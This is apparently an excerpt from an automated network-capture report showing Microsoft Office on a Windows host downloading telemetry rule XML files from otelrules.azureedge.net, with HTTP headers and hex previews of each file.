encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:11 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:11 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 5a5a1185-c01e-0079-408c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064911Z-185f5d8b95crl6swhC1NYC3ueg00000009zg00000000cpmc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:11 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:11 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:11 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064911Z-r1d97b995774zjnrhC1TEBv1ww00000008fg0000000063nz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:11 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:11 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:11 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 073920b7-a01e-0032-4c8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064911Z-185f5d8b95c68cvnhC1NYCfn7s00000009ug00000000dk7v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:11 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:11 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:11 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:11 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064911Z-185f5d8b95c4bhwphC1NYCs8gw00000009xg00000000kh71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 06:49:11 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:11 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:11 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064911Z-185f5d8b95cwtv72hC1NYC141w00000009v000000000523m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:11 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:11 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:11 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 6d560277-a01e-0050-158c-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064911Z-1777c6cb754wcxkwhC1TEB3c6w000000091g00000000n4s5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:11 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:12 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:12 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:12 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 3044792c-001e-005a-088c-3ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064912Z-185f5d8b95c4hl5whC1NYCeex000000009vg000000003avn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:12 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:12 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:12 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:12 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c9275fb5-a01e-000d-708c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064912Z-r1d97b99577lxltfhC1TEByw2s00000008eg00000000f35f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:12 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:12 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:12 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:12 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c3eb962b-701e-003e-438c-3a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064912Z-185f5d8b95cdh56ghC1NYCk1x400000003r0000000008h04 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:12 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:12 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:12 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:12 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064912Z-185f5d8b95c96jn4hC1NYCbgp800000009ug00000000ef81 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:12 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:12 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:12 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:12 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064912Z-185f5d8b95cqnkdjhC1NYCm8w800000009m000000000qwee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:12 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:13 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:13 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:13 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 7ca1e40b-601e-003d-2f8c-3a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064913Z-185f5d8b95cgrrn8hC1NYCgwh400000009u0000000002655 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
